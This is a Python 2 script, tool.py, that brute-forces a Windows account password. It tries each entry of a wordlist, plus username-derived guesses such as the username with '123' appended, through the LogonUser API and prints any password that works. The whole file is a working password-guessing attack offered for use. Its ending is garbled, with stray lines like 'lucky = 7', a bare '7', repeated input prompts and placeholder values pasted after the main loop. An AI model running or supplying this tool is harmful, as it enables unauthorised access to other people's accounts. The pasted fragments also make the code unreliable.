c:/python
tool.py

def verify_success(username, password):
    from win32security import LogonUser
    from win32con import LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT
    if password == 'BLANK':
        try:
            password = ""
            LogonUser(username, None, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT)
            return True
        except Exception, e:
            if "blank passwords" in str(e):
                return True
            else:
                return False
    else:
        try:
            LogonUser(username, None, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT)
            return True
        except Exception, e:
            return False


u = raw_input('Enter the username you want to brute: ')
fis = raw_input('Enter the password_list file: ')

pwds = open(fis,'rU')
passwds = pwds.readlines()

for password in passwds:

    if password.rstrip() == "%user%":
        password = u.rstrip()
    if password.rstrip() == "%user%1":
        password = u.rstrip()+'1'
    if password.rstrip() == "%user%12":
        password = u.rstrip()+'12'
    if password.rstrip() == "%user%123":
        password = u.rstrip()+'123'

    if verify_success(u, password.rstrip()):
        print 'SUCCESS: => USERNAME: '+u+' '+'PASSWORD: '+password.rstrip()
        break
    else:
        print '[+]Trying: '+u+' '+password.rstrip()

lucky = 7
print (lucky)
7

u = raw_input('Enter the username you want to brute: ')
fis = raw_input('Enter the password_list file: ')

u = "<username>"
fis = "<file.txt>"